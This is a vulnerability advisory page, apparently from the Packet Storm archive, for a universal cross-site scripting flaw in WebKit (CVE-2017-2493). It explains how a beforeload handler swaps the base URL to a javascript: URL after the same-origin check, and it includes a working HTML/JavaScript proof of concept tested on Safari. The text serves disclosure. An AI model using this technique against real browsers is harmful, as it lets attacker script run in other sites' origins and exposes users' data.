what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WebKit HTMLObjectElement::updateWidget Universal XSS

WebKit HTMLObjectElement::updateWidget Universal XSS
Posted May 25, 2017
Authored by Google Security Research, lokihardt

WebKit suffers from a cross site scripting vulnerability in HTMLObjectElement::updateWidget.

tags | exploit, xss
advisories | CVE-2017-2493
SHA-256 | 5e1a9a4c59df034aade4206f4dcb044b4ce264d6f3524ad57ed2b3849dbbf858

WebKit HTMLObjectElement::updateWidget Universal XSS

Change Mirror Download
 WebKit: UXSS through HTMLObjectElement::updateWidget 

CVE-2017-2493


When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violate the Same Origin Policy or not.

Here's some snippets of the logic.

void HTMLObjectElement::updateWidget(CreatePlugins createPlugins)
{
...
String url = this->url();
...
if (!allowedToLoadFrameURL(url))
return;
...

bool beforeLoadAllowedLoad = guardedDispatchBeforeLoadEvent(url);
...

bool success = beforeLoadAllowedLoad && hasValidClassId();
if (success)
success = requestObject(url, serviceType, paramNames, paramValues);
...
}

bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url)
{
URL completeURL = document().completeURL(url);
if (contentFrame() && protocolIsJavaScript(completeURL) && !document().securityOrigin().canAccess(contentDocument()->securityOrigin()))
return false;
return document().frame()->isURLAllowed(completeURL);
}

bool HTMLPlugInElement::requestObject(const String& url, const String& mimeType, const Vector<String>& paramNames, const Vector<String>& paramValues)
{
if (m_pluginReplacement)
return true;

URL completedURL;
if (!url.isEmpty())
completedURL = document().completeURL(url);

ReplacementPlugin* replacement = pluginReplacementForType(completedURL, mimeType);
if (!replacement || !replacement->isEnabledBySettings(document().settings()))
return false;

LOG(Plugins, "%p - Found plug-in replacement for %s.", this, completedURL.string().utf8().data());

m_pluginReplacement = replacement->create(*this, paramNames, paramValues);
setDisplayState(PreparingPluginReplacement);
return true;
}

The SOP violation check is made in the method HTMLPlugInImageElement::allowedToLoadFrameURL.

What I noticed is that there are two uses of |document().completeURL| for the same URL, and the method guardedDispatchBeforeLoadEvent dispatches a beforeloadevent that may execute JavaScript code after the SOP violation check. So if the base URL is changed like "javascript:///%0aalert(location);//" in the event handler, a navigation to the JavaScript URL will be made successfully.

Tested on Safari 10.0.3(12602.4.8).

PoC:

<html>
<head>
</head>
<body>
<script>

let o = document.body.appendChild(document.createElement('object'));
o.onload = () => {
o.onload = null;

o.onbeforeload = () => {
o.onbeforeload = null;

let b = document.head.appendChild(document.createElement('base'));
b.href = 'javascript:///%0aalert(location);//';
};
o.data = 'xxxxx';
};

o.type = 'text/html';
o.data = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a>

</script>
</body>
</html>


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: lokihardt

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close